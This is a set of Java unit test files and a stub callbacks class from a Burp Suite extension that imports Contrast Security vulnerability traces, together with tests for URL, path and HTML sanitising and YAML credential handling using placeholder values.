165 | private StoryResponse getStoryResponse(String id, String riskText, String chapterType, String chapterIntro,String chapterBody ) { 166 | StoryResponse response1 = new StoryResponse(); 167 | Story story1 = new Story(); 168 | response1.setStory(story1); 169 | story1.setTraceId(id); 170 | Risk risk1 = new Risk(); 171 | risk1.setText(riskText); 172 | story1.setRisk(risk1); 173 | Chapter chapter1 = new Chapter(); 174 | chapter1.setType(chapterType); 175 | chapter1.setBody(chapterBody); 176 | chapter1.setIntroText(chapterIntro); 177 | story1.setChapters(Arrays.asList(chapter1)); 178 | return response1; 179 | } 180 | 181 | private List getTraces() { 182 | return Arrays.asList( 183 | getTrace("path1","sql-injection","sql injection", 184 | SeverityMapper.MEDIUM.getContrastSeverity().get(0), 185 | ConfidenceMapper.CERTAIN.getContrastConfidence().get(0)), 186 | getTrace("path2", IssueTypeMapper.HEADER_INJECTION.getContrastType(),"Header Injection", 187 | SeverityMapper.MEDIUM.getContrastSeverity().get(0), 188 | ConfidenceMapper.CERTAIN.getContrastConfidence().get(0)), 189 | getTrace("path3", IssueTypeMapper.COMMAND_INJECTION.getContrastType(),"Command Injection", 190 | SeverityMapper.MEDIUM.getContrastSeverity().get(0), 191 | ConfidenceMapper.CERTAIN.getContrastConfidence().get(0)) 192 | ); 193 | } 194 | 195 | private Trace getTrace(String traceID, String issueType, String title,String severity,String likelihood) { 196 | Gson gson = new Gson(); 197 | JsonObject jsonObject = new JsonObject(); 198 | jsonObject.addProperty("uuid",traceID); 199 | jsonObject.addProperty("rule_name",issueType); 200 | jsonObject.addProperty("title",title); 201 | jsonObject.addProperty("severity",severity); 202 | jsonObject.addProperty("likelihood",likelihood); 203 | return gson.fromJson(jsonObject, Trace.class); 204 | } 205 | 206 | private List getVulnRequests() { 207 | List vulns = new ArrayList<>(); 208 | vulns.add(new TraceIDDecoractedHttpRequestResponse("path1",getRequestResponse("/path1"))); 209 | vulns.add(new TraceIDDecoractedHttpRequestResponse("path2",getRequestResponse("/path2"))); 210 | vulns.add(new TraceIDDecoractedHttpRequestResponse("path3",getRequestResponse("/path3"))); 211 | 212 | return vulns; 213 | } 214 | 215 | private DefaultTableModel getTable(List paths, List selectedPaths,List verbs) { 216 | DefaultTableModel routeTable = new DefaultTableModel(); 217 | routeTable.setColumnIdentifiers(ContrastTab.ROUTE_TABLE_COL_NAMES); 218 | for(int i =0;i routes) { 239 | return new TSReader(getTestCreds(),null,null,null) { 240 | @Override 241 | public Optional getRoutes(String orgID, String appID) { 242 | return routes; 243 | } 244 | }; 245 | } 246 | 247 | private List getTestCreds() { 248 | return Collections.singletonList(new TSCreds("http://example.com","example","example","example")); 249 | } 250 | 251 | private DataModel getDataModel(String appName, String appID) { 252 | DataModel dataModel = new DataModel(); 253 | dataModel.getTsCreds().addAll(getTestCreds()); 254 | dataModel.getAppNameIDMap().put(appName,appID); 255 | return dataModel; 256 | } 257 | 258 | private Logger getSystemOutLogger() { 259 | return new Logger(new PrintWriter(System.out),new PrintWriter(System.err)); 260 | } 261 | 262 | 263 | 264 | } -------------------------------------------------------------------------------- /src/test/java/burp/TestableCallBack.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.awt.*; 4 | import java.io.File; 5 | import java.io.OutputStream; 6 | import java.net.URL; 7 | import java.util.ArrayList; 8 | import java.util.List; 9 | import java.util.Map; 10 | 11 | public class TestableCallBack implements IBurpExtenderCallbacks { 12 | 13 | private List requestResponses = new ArrayList<>(); 14 | 15 | private List scanIssues = new ArrayList<>(); 16 | 17 | public List getScanIssues() { 18 | return scanIssues; 19 | } 20 | 21 | public List getRequestResponses() { 22 | return requestResponses; 23 | } 24 | 25 | @Override 26 | public void setExtensionName(String name) { 27 | 28 | } 29 | 30 | @Override 31 | public IExtensionHelpers getHelpers() { 32 | return null; 33 | } 34 | 35 | @Override 36 | public OutputStream getStdout() { 37 | return System.out; 38 | } 39 | 40 | @Override 41 | public OutputStream getStderr() { 42 | return System.err; 43 | } 44 | 45 | @Override 46 | public void printOutput(String output) { 47 | 48 | } 49 | 50 | @Override 51 | public void printError(String error) { 52 | 53 | } 54 | 55 | @Override 56 | public void registerExtensionStateListener(IExtensionStateListener listener) { 57 | 58 | } 59 | 60 | @Override 61 | public List getExtensionStateListeners() { 62 | return null; 63 | } 64 | 65 | @Override 66 | public void removeExtensionStateListener(IExtensionStateListener listener) { 67 | 68 | } 69 | 70 | @Override 71 | public void registerHttpListener(IHttpListener listener) { 72 | 73 | } 74 | 75 | @Override 76 | public List getHttpListeners() { 77 | return null; 78 | } 79 | 80 | @Override 81 | public void removeHttpListener(IHttpListener listener) { 82 | 83 | } 84 | 85 | @Override 86 | public void registerProxyListener(IProxyListener listener) { 87 | 88 | } 89 | 90 | @Override 91 | public List getProxyListeners() { 92 | return null; 93 | } 94 | 95 | @Override 96 | public void removeProxyListener(IProxyListener listener) { 97 | 98 | } 99 | 100 | @Override 101 | public void registerScannerListener(IScannerListener listener) { 102 | 103 | } 104 | 105 | @Override 106 | public List getScannerListeners() { 107 | return null; 108 | } 109 | 110 | @Override 111 | public void removeScannerListener(IScannerListener listener) { 112 | 113 | } 114 | 115 | @Override 116 | public void registerScopeChangeListener(IScopeChangeListener listener) { 117 | 118 | } 119 | 120 | @Override 121 | public List getScopeChangeListeners() { 122 | return null; 123 | } 124 | 125 | @Override 126 | public void removeScopeChangeListener(IScopeChangeListener listener) { 127 | 128 | } 129 | 130 | @Override 131 | public void registerContextMenuFactory(IContextMenuFactory factory) { 132 | 133 | } 134 | 135 | @Override 136 | public List getContextMenuFactories() { 137 | return null; 138 | } 139 | 140 | @Override 141 | public void removeContextMenuFactory(IContextMenuFactory factory) { 142 | 143 | } 144 | 145 | @Override 146 | public void registerMessageEditorTabFactory(IMessageEditorTabFactory factory) { 147 | 148 | } 149 | 150 | @Override 151 | public List getMessageEditorTabFactories() { 152 | return null; 153 | } 154 | 155 | @Override 156 | public void removeMessageEditorTabFactory(IMessageEditorTabFactory factory) { 157 | 158 | } 159 | 160 | @Override 161 | public void registerScannerInsertionPointProvider(IScannerInsertionPointProvider provider) { 162 | 163 | } 164 | 165 | @Override 166 | public List getScannerInsertionPointProviders() { 167 | return null; 168 | } 169 | 170 | @Override 171 | public void removeScannerInsertionPointProvider(IScannerInsertionPointProvider provider) { 172 | 173 | } 174 | 175 | @Override 176 | public void registerScannerCheck(IScannerCheck check) { 177 | 178 | } 179 | 180 | @Override 181 | public List getScannerChecks() { 182 | return null; 183 | } 184 | 185 | @Override 186 | public void removeScannerCheck(IScannerCheck check) { 187 | 188 | } 189 | 190 | @Override 191 | public void registerIntruderPayloadGeneratorFactory(IIntruderPayloadGeneratorFactory factory) { 192 | 193 | } 194 | 195 | @Override 196 | public List getIntruderPayloadGeneratorFactories() { 197 | return null; 198 | } 199 | 200 | @Override 201 | public void removeIntruderPayloadGeneratorFactory(IIntruderPayloadGeneratorFactory factory) { 202 | 203 | } 204 | 205 | @Override 206 | public void registerIntruderPayloadProcessor(IIntruderPayloadProcessor processor) { 207 | 208 | } 209 | 210 | @Override 211 | public List getIntruderPayloadProcessors() { 212 | return null; 213 | } 214 | 215 | @Override 216 | public void removeIntruderPayloadProcessor(IIntruderPayloadProcessor processor) { 217 | 218 | } 219 | 220 | @Override 221 | public void registerSessionHandlingAction(ISessionHandlingAction action) { 222 | 223 | } 224 | 225 | @Override 226 | public List getSessionHandlingActions() { 227 | return null; 228 | } 229 | 230 | @Override 231 | public void removeSessionHandlingAction(ISessionHandlingAction action) { 232 | 233 | } 234 | 235 | @Override 236 | public void unloadExtension() { 237 | 238 | } 239 | 240 | @Override 241 | public void addSuiteTab(ITab tab) { 242 | 243 | } 244 | 245 | @Override 246 | public void removeSuiteTab(ITab tab) { 247 | 248 | } 249 | 250 | @Override 251 | public void customizeUiComponent(Component component) { 252 | 253 | } 254 | 255 | @Override 256 | public IMessageEditor createMessageEditor(IMessageEditorController controller, boolean editable) { 257 | return null; 258 | } 259 | 260 | @Override 261 | public String[] getCommandLineArguments() { 262 | return new String[0]; 263 | } 264 | 265 | @Override 266 | public void saveExtensionSetting(String name, String value) { 267 | 268 | } 269 | 270 | @Override 271 | public String loadExtensionSetting(String name) { 272 | return null; 273 | } 274 | 275 | @Override 276 | public ITextEditor createTextEditor() { 277 | return null; 278 | } 279 | 280 | @Override 281 | public void sendToRepeater(String host, int port, boolean useHttps, byte[] request, String tabCaption) { 282 | 283 | } 284 | 285 | @Override 286 | public void sendToIntruder(String host, int port, boolean useHttps, byte[] request) { 287 | 288 | } 289 | 290 | @Override 291 | public void sendToIntruder(String host, int port, boolean useHttps, byte[] request, List payloadPositionOffsets) { 292 | 293 | } 294 | 295 | @Override 296 | public void sendToComparer(byte[] data) { 297 | 298 | } 299 | 300 | @Override 301 | public void sendToSpider(URL url) { 302 | 303 | } 304 | 305 | @Override 306 | public IScanQueueItem doActiveScan(String host, int port, boolean useHttps, byte[] request) { 307 | return null; 308 | } 309 | 310 | @Override 311 | public IScanQueueItem doActiveScan(String host, int port, boolean useHttps, byte[] request, List insertionPointOffsets) { 312 | return null; 313 | } 314 | 315 | @Override 316 | public void doPassiveScan(String host, int port, boolean useHttps, byte[] request, byte[] response) { 317 | 318 | } 319 | 320 | @Override 321 | public IHttpRequestResponse makeHttpRequest(IHttpService httpService, byte[] request) { 322 | return null; 323 | } 324 | 325 | @Override 326 | public IHttpRequestResponse makeHttpRequest(IHttpService httpService, byte[] request, boolean forceHttp1) { 327 | return null; 328 | } 329 | 330 | @Override 331 | public byte[] makeHttpRequest(String host, int port, boolean useHttps, byte[] request) { 332 | return new byte[0]; 333 | } 334 | 335 | @Override 336 | public byte[] makeHttpRequest(String host, int port, boolean useHttps, byte[] request, boolean forceHttp1) { 337 | return new byte[0]; 338 | } 339 | 340 | @Override 341 | public byte[] makeHttp2Request(IHttpService httpService, List headers, byte[] body) { 342 | return new byte[0]; 343 | } 344 | 345 | @Override 346 | public byte[] makeHttp2Request(IHttpService httpService, List headers, byte[] body, boolean forceHttp2) { 347 | return new byte[0]; 348 | } 349 | 350 | @Override 351 | public byte[] makeHttp2Request(IHttpService httpService, List headers, byte[] body, boolean forceHttp2, String connectionIdentifier) { 352 | return new byte[0]; 353 | } 354 | 355 | @Override 356 | public boolean isInScope(URL url) { 357 | return false; 358 | } 359 | 360 | @Override 361 | public void includeInScope(URL url) { 362 | 363 | } 364 | 365 | @Override 366 | public void excludeFromScope(URL url) { 367 | 368 | } 369 | 370 | @Override 371 | public void issueAlert(String message) { 372 | 373 | } 374 | 375 | @Override 376 | public IHttpRequestResponse[] getProxyHistory() { 377 | return new IHttpRequestResponse[0]; 378 | } 379 | 380 | @Override 381 | public IHttpRequestResponse[] getSiteMap(String urlPrefix) { 382 | return new IHttpRequestResponse[0]; 383 | } 384 | 385 | @Override 386 | public IScanIssue[] getScanIssues(String urlPrefix) { 387 | return new IScanIssue[0]; 388 | } 389 | 390 | @Override 391 | public void generateScanReport(String format, IScanIssue[] issues, File file) { 392 | 393 | } 394 | 395 | @Override 396 | public List getCookieJarContents() { 397 | return null; 398 | } 399 | 400 | @Override 401 | public void updateCookieJar(ICookie cookie) { 402 | 403 | } 404 | 405 | @Override 406 | public void addToSiteMap(IHttpRequestResponse item) { 407 | requestResponses.add(item); 408 | } 409 | 410 | @Override 411 | public void restoreState(File file) { 412 | 413 | } 414 | 415 | @Override 416 | public void saveState(File file) { 417 | 418 | } 419 | 420 | @Override 421 | public Map saveConfig() { 422 | return null; 423 | } 424 | 425 | @Override 426 | public void loadConfig(Map config) { 427 | 428 | } 429 | 430 | @Override 431 | public String saveConfigAsJson(String... configPaths) { 432 | return null; 433 | } 434 | 435 | @Override 436 | public void loadConfigFromJson(String config) { 437 | 438 | } 439 | 440 | @Override 441 | public void setProxyInterceptionEnabled(boolean enabled) { 442 | 443 | } 444 | 445 | @Override 446 | public String[] getBurpVersion() { 447 | return new String[0]; 448 | } 449 | 450 | @Override 451 | public String getExtensionFilename() { 452 | return null; 453 | } 454 | 455 | @Override 456 | public boolean isExtensionBapp() { 457 | return false; 458 | } 459 | 460 | @Override 461 | public void exitSuite(boolean promptUser) { 462 | 463 | } 464 | 465 | @Override 466 | public ITempFile saveToTempFile(byte[] buffer) { 467 | return null; 468 | } 469 | 470 | @Override 471 | public IHttpRequestResponsePersisted saveBuffersToTempFiles(IHttpRequestResponse httpRequestResponse) { 472 | return null; 473 | } 474 | 475 | @Override 476 | public IHttpRequestResponseWithMarkers applyMarkers(IHttpRequestResponse httpRequestResponse, List requestMarkers, List responseMarkers) { 477 | return null; 478 | } 479 | 480 | @Override 481 | public String getToolName(int toolFlag) { 482 | return null; 483 | } 484 | 485 | @Override 486 | public void addScanIssue(IScanIssue issue) { 487 | scanIssues.add(issue); 488 | } 489 | 490 | @Override 491 | public IBurpCollaboratorClientContext createBurpCollaboratorClientContext() { 492 | return null; 493 | } 494 | 495 | @Override 496 | public String[][] getParameters(byte[] request) { 497 | return new String[0][]; 498 | } 499 | 500 | @Override 501 | public String[] getHeaders(byte[] message) { 502 | return new String[0]; 503 | } 504 | 505 | @Override 506 | public void registerMenuItem(String menuItemCaption, IMenuItemHandler menuItemHandler) { 507 | 508 | } 509 | } 510 | -------------------------------------------------------------------------------- /src/test/java/com/contrast/HTMLSanitiserTest.java: -------------------------------------------------------------------------------- 1 | package com.contrast; 2 | 3 | import org.junit.Test; 4 | 5 | import static org.junit.Assert.*; 6 | 7 | public class HTMLSanitiserTest { 8 | 9 | 10 | 11 | @Test 12 | public void testWithValidHTML() { 13 | String data = "some data example link
"; 14 | HTMLSanitiser sanitiser = new HTMLSanitiser(); 15 | assertEquals(data,sanitiser.sanitiseHTML(data)); 16 | } 17 | 18 | 19 | @Test 20 | public void testWithXSSInjection() { 21 | String data = "some data example link
"; 22 | HTMLSanitiser sanitiser = new HTMLSanitiser(); 23 | assertEquals("some data example link
",sanitiser.sanitiseHTML(data)); 24 | } 25 | 26 | 27 | 28 | } -------------------------------------------------------------------------------- /src/test/java/com/contrast/RequestResponseGeneratorTest.java: -------------------------------------------------------------------------------- 1 | package com.contrast; 2 | 3 | import org.junit.Test; 4 | 5 | import static org.junit.Assert.*; 6 | 7 | public class RequestResponseGeneratorTest { 8 | 9 | 10 | @Test 11 | public void testNormalisedPathWithNoAppContext() { 12 | RequestResponseGenerator generator = new RequestResponseGenerator(); 13 | String normalisedPath = generator.getNormalisedPath("","/location.html"); 14 | assertEquals("/location.html",normalisedPath); 15 | } 16 | 17 | @Test 18 | public void testNormalisedPathWithNullAppContext() { 19 | RequestResponseGenerator generator = new RequestResponseGenerator(); 20 | String normalisedPath = generator.getNormalisedPath(null,"/location.html"); 21 | assertEquals("/location.html",normalisedPath); 22 | } 23 | 24 | @Test 25 | public void testNormalisedPathWithSingleSlashAppContext() { 26 | RequestResponseGenerator generator = new RequestResponseGenerator(); 27 | String normalisedPath = generator.getNormalisedPath("/","/location.html"); 28 | assertEquals("/location.html",normalisedPath); 29 | } 30 | 31 | @Test 32 | public void testNormalisedPathWithAppContext() { 33 | RequestResponseGenerator generator = new RequestResponseGenerator(); 34 | String normalisedPath = generator.getNormalisedPath("/path","/location.html"); 35 | assertEquals("/path/location.html",normalisedPath); 36 | } 37 | } -------------------------------------------------------------------------------- /src/test/java/com/contrast/SortByAppNameComparatorTest.java: -------------------------------------------------------------------------------- 1 | package com.contrast; 2 | 3 | import com.contrastsecurity.models.Application; 4 | import com.google.gson.Gson; 5 | import com.google.gson.JsonObject; 6 | import org.junit.Test; 7 | 8 | import java.util.Arrays; 9 | import java.util.List; 10 | 11 | import static org.junit.Assert.*; 12 | 13 | public class SortByAppNameComparatorTest { 14 | 15 | @Test 16 | public void testWithApplicationList() { 17 | List applications = getApplicationList(); 18 | applications.sort(new SortByAppNameComparator()); 19 | assertEquals("AppA",applications.get(0).getName()); 20 | assertEquals("AppB",applications.get(1).getName()); 21 | assertEquals("AppC",applications.get(2).getName()); 22 | 23 | } 24 | 25 | private List getApplicationList() { 26 | return Arrays.asList(getApplication("AppC",1l),getApplication("AppA",2l),getApplication("AppB",3l)); 27 | } 28 | 29 | private Application getApplication(String appName, Long lastSeen) { 30 | Gson gson = new Gson(); 31 | JsonObject jsonObject = new JsonObject(); 32 | jsonObject.addProperty("name",appName); 33 | jsonObject.addProperty("last_seen",lastSeen); 34 | return gson.fromJson(jsonObject,Application.class); 35 | } 36 | 37 | } -------------------------------------------------------------------------------- /src/test/java/com/contrast/SortByLastSeenComparatorTest.java: -------------------------------------------------------------------------------- 1 | package com.contrast; 2 | 3 | import com.contrastsecurity.models.Application; 4 | import com.google.gson.Gson; 5 | import com.google.gson.JsonObject; 6 | import org.junit.Test; 7 | 8 | import java.util.Arrays; 9 | import java.util.List; 10 | 11 | import static org.junit.Assert.*; 12 | 13 | public class SortByLastSeenComparatorTest { 14 | 15 | 16 | @Test 17 | public void testWithApplicationList() { 18 | List applications = getApplicationList(); 19 | applications.sort(new SortByLastSeenComparator()); 20 | assertEquals("appthree",applications.get(0).getName()); 21 | assertEquals("apptwo",applications.get(1).getName()); 22 | assertEquals("appone",applications.get(2).getName()); 23 | 24 | } 25 | 26 | private List getApplicationList() { 27 | return Arrays.asList(getApplication("appone",1l),getApplication("apptwo",2l),getApplication("appthree",3l)); 28 | } 29 | 30 | private Application getApplication(String appName, Long lastSeen) { 31 | Gson gson = new Gson(); 32 | JsonObject jsonObject = new JsonObject(); 33 | jsonObject.addProperty("name",appName); 34 | jsonObject.addProperty("last_seen",lastSeen); 35 | return gson.fromJson(jsonObject,Application.class); 36 | } 37 | 38 | } -------------------------------------------------------------------------------- /src/test/java/com/contrast/TSVulnLinkGeneratorTest.java: -------------------------------------------------------------------------------- 1 | package com.contrast; 2 | 3 | import org.junit.Test; 4 | 5 | import static org.junit.Assert.*; 6 | 7 | public class TSVulnLinkGeneratorTest { 8 | 9 | @Test 10 | public void testLinkGenerator() { 11 | String result = new TSVulnLinkGenerator().getURL("https://example.contrastsecurity.com/Contrast","123-456-789","987-654-321","abc-def-ghi"); 12 | assertEquals("https://example.contrastsecurity.com/Contrast/static/ng/index.html#/123-456-789/applications/987-654-321/vulns/abc-def-ghi",result); 13 | } 14 | 15 | } -------------------------------------------------------------------------------- /src/test/java/com/contrast/YamlReaderTest.java: -------------------------------------------------------------------------------- 1 | package com.contrast; 2 | 3 | import org.junit.Test; 4 | 5 | import java.io.File; 6 | import java.io.IOException; 7 | import java.net.URISyntaxException; 8 | import java.util.List; 9 | 10 | import static org.junit.Assert.*; 11 | 12 | public class YamlReaderTest { 13 | 14 | 15 | @Test 16 | public void testWithValidYaml() throws IOException, URISyntaxException { 17 | File contrastFile = new File(YamlReaderTest.class.getResource("/contrast_security.yaml").toURI()); 18 | YamlReader reader = new YamlReader(); 19 | List optCreds = reader.parseContrastYaml(contrastFile); 20 | assertTrue(!optCreds.isEmpty()); 21 | TSCreds creds = optCreds.get(0); 22 | assertEquals("https://example.contrastsecurity.com/Contrast",creds.getUrl()); 23 | assertEquals("aaabbbccc",creds.getApiKey()); 24 | assertEquals("aaabbbcccddd",creds.getServiceKey()); 25 | assertEquals("aaabbbccc@ContrastSecurity",creds.getUserName()); 26 | } 27 | 28 | } -------------------------------------------------------------------------------- /src/test/java/com/contrast/YamlWriterTest.java: -------------------------------------------------------------------------------- 1 | package com.contrast; 2 | 3 | import org.junit.Test; 4 | 5 | import java.io.IOException; 6 | import java.nio.file.Files; 7 | import java.nio.file.Path; 8 | import java.util.Arrays; 9 | import java.util.Collections; 10 | import java.util.List; 11 | 12 | import static org.junit.Assert.*; 13 | 14 | public class YamlWriterTest { 15 | 16 | 17 | @Test 18 | public void writeWithSingleCred() throws IOException { 19 | Path tmpYamlFile = getTmpYamlFile(); 20 | try { 21 | TSCreds creds = new TSCreds("https://example.contrast.com/Contrast", "AAABBBCCC", "DDDEEEFFF", "example@example.com", "GGGHHHIII"); 22 | YamlWriter writer = new YamlWriter(); 23 | writer.writeYamlFile(Collections.singletonList(creds),tmpYamlFile); 24 | assertTrue(tmpYamlFile.toFile().exists()); 25 | assertTrue(tmpYamlFile.toFile().length()>0); 26 | YamlReader reader = new YamlReader(); 27 | List readCreds = reader.parseContrastYaml(tmpYamlFile.toFile()); 28 | assertTrue(!readCreds.isEmpty()); 29 | assertTrue(creds.equals(readCreds.get(0))); 30 | } finally { 31 | if(tmpYamlFile!=null&&tmpYamlFile.toFile().exists()) { 32 | tmpYamlFile.toFile().delete(); 33 | } 34 | } 35 | 36 | } 37 | 38 | @Test 39 | public void writeWithMultipleOrgs() throws IOException { 40 | Path tmpYamlFile = getTmpYamlFile(); 41 | try { 42 | TSCreds creds = new TSCreds("https://example.contrast.com/Contrast", "AAABBBCCC", "DDDEEEFFF", "example@example.com", "GGGHHHIII"); 43 | TSCreds creds2 = new TSCreds("https://example.contrast.com/Contrast", "DFKJDFKJDFK3", "DDDFFFGGGHHH", "example@example.com", "DFDFDFDFDF"); 44 | 45 | YamlWriter writer = new YamlWriter(); 46 | writer.writeYamlFile(Arrays.asList(creds,creds2),tmpYamlFile); 47 | assertTrue(tmpYamlFile.toFile().exists()); 48 | assertTrue(tmpYamlFile.toFile().length()>0); 49 | YamlReader reader = new YamlReader(); 50 | List readCreds = reader.parseContrastYaml(tmpYamlFile.toFile()); 51 | assertEquals(2,readCreds.size()); 52 | assertTrue(creds.equals(readCreds.get(0))); 53 | assertTrue(creds2.equals(readCreds.get(1))); 54 | } finally { 55 | if(tmpYamlFile!=null&&tmpYamlFile.toFile().exists()) { 56 | tmpYamlFile.toFile().delete(); 57 | } 58 | } 59 | 60 | } 61 | 62 | 63 | private Path getTmpYamlFile() throws IOException { 64 | return Files.createTempFile("yamlwritertest","yaml"); 65 | } 66 | 67 | 68 | } -------------------------------------------------------------------------------- /src/test/java/com/contrast/threads/TSURLSanitiserTest.java: -------------------------------------------------------------------------------- 1 | package com.contrast.threads; 2 | 3 | import com.contrast.Logger; 4 | import org.junit.Test; 5 | 6 | import java.io.OutputStream; 7 | import java.io.PrintWriter; 8 | import java.net.MalformedURLException; 9 | 10 | import static org.junit.Assert.*; 11 | 12 | public class TSURLSanitiserTest { 13 | 14 | @Test 15 | public void testWithGoodURL() throws MalformedURLException { 16 | String url = "https://example.contrastsecurity.com/Contrast"; 17 | assertEquals(url,TSURLSanitiser.getSanitisedURL(url,getLogger())); 18 | } 19 | 20 | 21 | @Test 22 | public void testWithNoProtocol() throws MalformedURLException { 23 | String url = "example.contrastsecurity.com/Contrast"; 24 | String expectedURL = "https://example.contrastsecurity.com/Contrast"; 25 | assertEquals(expectedURL,TSURLSanitiser.getSanitisedURL(url,getLogger())); 26 | } 27 | 28 | @Test 29 | public void testWithHTTPProtocol() throws MalformedURLException { 30 | String url = "http://example.contrastsecurity.com/Contrast"; 31 | String expectedURL = "http://example.contrastsecurity.com/Contrast"; 32 | assertEquals(expectedURL,TSURLSanitiser.getSanitisedURL(url,getLogger())); 33 | } 34 | 35 | @Test 36 | public void testWithNoRootContextProtocol() throws MalformedURLException { 37 | String url = "https://example.contrastsecurity.com/"; 38 | String expectedURL = "https://example.contrastsecurity.com/Contrast"; 39 | assertEquals(expectedURL,TSURLSanitiser.getSanitisedURL(url,getLogger())); 40 | } 41 | 42 | @Test 43 | public void testWithNoRootContextProtocolAndNoTrailingSlash() throws MalformedURLException { 44 | String url = "https://example.contrastsecurity.com"; 45 | String expectedURL = "https://example.contrastsecurity.com/Contrast"; 46 | assertEquals(expectedURL,TSURLSanitiser.getSanitisedURL(url,getLogger())); 47 | } 48 | 49 | @Test 50 | public void testWithNoProtocolNoRootContextProtocolAndNoTrailingSlash() throws MalformedURLException { 51 | String url = "example.contrastsecurity.com"; 52 | String expectedURL = "https://example.contrastsecurity.com/Contrast"; 53 | assertEquals(expectedURL,TSURLSanitiser.getSanitisedURL(url,getLogger())); 54 | } 55 | 56 | @Test 57 | public void testWithNoProtocolRootContextProtocolAndTrailingSlash() throws MalformedURLException { 58 | String url = "example.contrastsecurity.com/Contrast/"; 59 | String expectedURL = "https://example.contrastsecurity.com/Contrast"; 60 | assertEquals(expectedURL,TSURLSanitiser.getSanitisedURL(url,getLogger())); 61 | } 62 | 63 | @Test 64 | public void testWithProtocolRootContextProtocolAndTrailingSlash() throws MalformedURLException { 65 | String url = "https://example.contrastsecurity.com/Contrast/"; 66 | String expectedURL = "https://example.contrastsecurity.com/Contrast"; 67 | assertEquals(expectedURL,TSURLSanitiser.getSanitisedURL(url,getLogger())); 68 | } 69 | 70 | @Test 71 | public void testWithNonStandardPath() throws MalformedURLException { 72 | String url = "https://example.flibber.com/bla/Contrast"; 73 | String expectedURL = "https://example.flibber.com/bla/Contrast"; 74 | assertEquals(expectedURL,TSURLSanitiser.getSanitisedURL(url,getLogger())); 75 | } 76 | 77 | @Test 78 | public void testWithNonStandardPathWithTrailingSlash() throws MalformedURLException { 79 | String url = "https://example.flibber.com/bla/Contrast/"; 80 | String expectedURL = "https://example.flibber.com/bla/Contrast"; 81 | assertEquals(expectedURL,TSURLSanitiser.getSanitisedURL(url,getLogger())); 82 | } 83 | 84 | private Logger getLogger() { 85 | return new Logger(new PrintWriter(OutputStream.nullOutputStream()),new PrintWriter(OutputStream.nullOutputStream())); 86 | } 87 | 88 | } -------------------------------------------------------------------------------- /src/test/resources/contrast_security.yaml: -------------------------------------------------------------------------------- 1 | api: 2 | url: https://example.contrastsecurity.com/Contrast 3 | api_key: aaabbbccc 4 | service_key: aaabbbcccddd 5 | user_name: aaabbbccc@ContrastSecurity --------------------------------------------------------------------------------